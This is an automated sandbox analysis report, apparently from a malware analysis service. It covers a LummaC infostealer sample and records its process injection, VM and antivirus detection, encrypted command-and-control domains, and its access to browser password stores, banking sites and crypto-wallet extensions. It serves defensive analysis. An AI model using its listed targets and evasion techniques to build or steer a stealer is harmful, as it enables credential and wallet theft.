Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00405F20	4_2_00405F20
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042B738	4_2_0042B738
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00423790	4_2_00423790
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0043DFA0	4_2_0043DFA0

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: String function: 004080E0 appears 49 times
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: String function: 006E2400 appears 66 times
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: String function: 004141A0 appears 64 times
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: String function: 006E7226 appears 36 times

Source: NHEXQatKdE.exe

Static PE information: invalid certificate

Source: NHEXQatKdE.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: NHEXQatKdE.exe	Static PE information: Section: .bss ZLIB complexity 1.0003401131465517
Source: NHEXQatKdE.exe	Static PE information: Section: .bss ZLIB complexity 1.0003401131465517

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/0@2/1

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Code function: 4_2_00436980 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

4_2_00436980

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6464:120:WilError_03

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NHEXQatKdE.exe, 00000004.00000003.2288598228.00000000034A6000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2470876760.00000000034A3000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: NHEXQatKdE.exe

ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

File read: C:\Users\user\Desktop\NHEXQatKdE.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NHEXQatKdE.exe "C:\Users\user\Desktop\NHEXQatKdE.exe"
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Process created: C:\Users\user\Desktop\NHEXQatKdE.exe "C:\Users\user\Desktop\NHEXQatKdE.exe"
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Process created: C:\Users\user\Desktop\NHEXQatKdE.exe "C:\Users\user\Desktop\NHEXQatKdE.exe"
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Process created: C:\Users\user\Desktop\NHEXQatKdE.exe "C:\Users\user\Desktop\NHEXQatKdE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Process created: C:\Users\user\Desktop\NHEXQatKdE.exe "C:\Users\user\Desktop\NHEXQatKdE.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: NHEXQatKdE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: NHEXQatKdE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: NHEXQatKdE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: NHEXQatKdE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: NHEXQatKdE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: NHEXQatKdE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: NHEXQatKdE.exe

Static PE information: section name: .ext

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006EBC78 push ecx; ret	0_2_006EBC8B
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006EBC78 push ecx; ret	3_2_006EBC8B
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0043C830 push eax; mov dword ptr [esp], F5F4F3A2h	4_2_0043C833
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004438E8 push eax; retn 0041h	4_2_004438E9
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00443340 push eax; retn 0041h	4_2_00443341
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00443334 push eax; retn 0041h	4_2_00443335
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00443338 push eax; retn 0041h	4_2_00443339
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004424E8 pushfd ; iretd	4_2_004424ED
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004455DB pushad ; iretd	4_2_0044560D
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0044560E push ebp; retf	4_2_00445677

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\NHEXQatKdE.exe TID: 2420	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe TID: 2420	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006EB12A FindFirstFileExW,	0_2_006EB12A
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006EB1DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_006EB1DB
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006EB12A FindFirstFileExW,	3_2_006EB12A
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006EB1DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_006EB1DB

Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: NHEXQatKdE.exe, 00000004.00000003.2922613126.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW&-
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: NHEXQatKdE.exe, 00000004.00000003.2470447666.00000000034A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Code function: 4_2_0043B1C0 LdrInitializeThunk,

4_2_0043B1C0

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Code function: 0_2_006E2237 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_006E2237

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006E15C1 mov edi, dword ptr fs:[00000030h]	0_2_006E15C1
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006FC19E mov edi, dword ptr fs:[00000030h]	0_2_006FC19E
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E15C1 mov edi, dword ptr fs:[00000030h]	3_2_006E15C1

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Code function: 0_2_006E723D GetProcessHeap,

0_2_006E723D

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006E222B SetUnhandledExceptionFilter,	0_2_006E222B
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006E2237 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006E2237
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006E631A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006E631A
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006E1BFF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_006E1BFF
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E222B SetUnhandledExceptionFilter,	3_2_006E222B
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E2237 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_006E2237
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E631A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_006E631A
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E1BFF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_006E1BFF

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Code function: 0_2_006FC19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_006FC19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Memory written: C:\Users\user\Desktop\NHEXQatKdE.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: NHEXQatKdE.exe, 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: NHEXQatKdE.exe, 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: NHEXQatKdE.exe, 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: NHEXQatKdE.exe, 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: NHEXQatKdE.exe, 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: NHEXQatKdE.exe, 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: NHEXQatKdE.exe, 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: NHEXQatKdE.exe, 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: NHEXQatKdE.exe, 00000000.00000002.2179942005.0000000002772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Process created: C:\Users\user\Desktop\NHEXQatKdE.exe "C:\Users\user\Desktop\NHEXQatKdE.exe"			Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Process created: C:\Users\user\Desktop\NHEXQatKdE.exe "C:\Users\user\Desktop\NHEXQatKdE.exe"			Jump to behavior

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Code function: 0_2_006E2113 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_006E2113

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: NHEXQatKdE.exe, 00000004.00000003.2718998682.0000000003491000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: NHEXQatKdE.exe PID: 4156, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: NHEXQatKdE.exe, 00000004.00000003.2560585694.0000000000F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: NHEXQatKdE.exe, 00000004.00000003.2718890653.0000000000F5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: NHEXQatKdE.exe, 00000004.00000003.2560508442.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: NHEXQatKdE.exe, 00000004.00000003.2560565411.0000000000F5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
